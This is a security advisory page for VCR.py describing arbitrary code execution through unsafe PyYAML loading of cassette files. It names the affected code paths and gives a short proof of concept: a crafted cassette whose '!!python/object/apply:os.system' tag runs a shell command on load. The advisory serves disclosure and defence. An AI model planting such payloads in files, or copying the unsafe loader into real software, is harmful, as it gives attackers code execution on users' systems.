GHSA-rpj2-4hq8-938g: VCR.py: Arbitrary code execution via unsafe YAML deserialization of cassette files
Summary
vcrpy deserializes YAML cassette files with PyYAML's object-constructing loader (yaml.CLoader / yaml.Loader) instead of the safe loader (yaml.CSafeLoader / yaml.SafeLoader). A cassette containing a !!python/object/apply: (or similar) tag therefore executes arbitrary Python code the moment the cassette is loaded — including through the normal VCR().use_cassette() path, before any HTTP interaction is replayed.
This is not limited to environments lacking the libYAML C extension. CLoader uses the C parser but PyYAML's full Python *constructor*, so Python
object tags execute under CLoader exactly as under the pure-Python Loader. Confirmed against vcrpy 8.1.1 + PyYAML 6.0.3 with CLoader active.
Affected component
- vcr/serializers/yamlserializer.py — deserialize() → yaml.load(cassette_string, Loader=Loader) where Loader is CLoader/Loader. Reached on every cassette load.
- vcr/migration.py (~line 107) — yaml.load(preprocess_yaml(...), Loader=Loader). A second sink reached when the migration tool is run on a .yaml file. preprocess_yaml() only strips three known legacy tags, so other tags still execute.
Present in all releases inspected, 1.0.0 through 8.1.1.
Proof of concept
import vcr, requests
Attacker-supplied cassette. The payload sits in an ignored top-level key
so the rest of the cassette stays valid; it fires during load.
open("evil.yaml", "w").write("""interactions:
- request:
body: null
headers: {Accept: ['*/*']}
method: GET
uri: http://example.com/
response:
body: {string: ok}
headers: {Content-Type: ['text/plain']}
status: {code: 200, message: OK}
_x: !!python/object/apply:os.system ['touch /tmp/VCRPY_YAML_RCE']
version: 1
""")
with vcr.use_cassette("evil.yaml"): # <-- /tmp/VCRPY_YAML_RCE created here
requests.get("http://example.com/")
Loading the cassette creates /tmp/VCRPY_YAML_RCE, demonstrating arbitrary command execution. Any Python callable can be invoked this way.
Impact
Arbitrary code execution in the process that loads the cassette, w
Details
Original advisory: https://github.com/advisories/GHSA-rpj2-4hq8-938g
More from GitHub Security Advisories
- criticalGHSA-g936-7jqj-mwv8: TSDProxy: Internal proxy auth token forwarded to backend services enables management API …2026-07-10
- highGHSA-fpg8-7664-jc5q: melange: Incomplete package integrity verification allows data section substitution2026-07-10
- mediumGHSA-48rx-c7pg-q66r: Excon does not redact additional sensitive/risky headers when following redirects2026-07-10
- highGHSA-h4g2-xfmw-q2c9: Clauster: Non-loopback deployments can serve the dashboard unauthenticated when auth.enab…2026-07-10
- mediumGHSA-rqq5-2gf9-4w4q: Secure Headers: CSP directive injection via sandbox, plugin_types, and report_to when giv…2026-07-10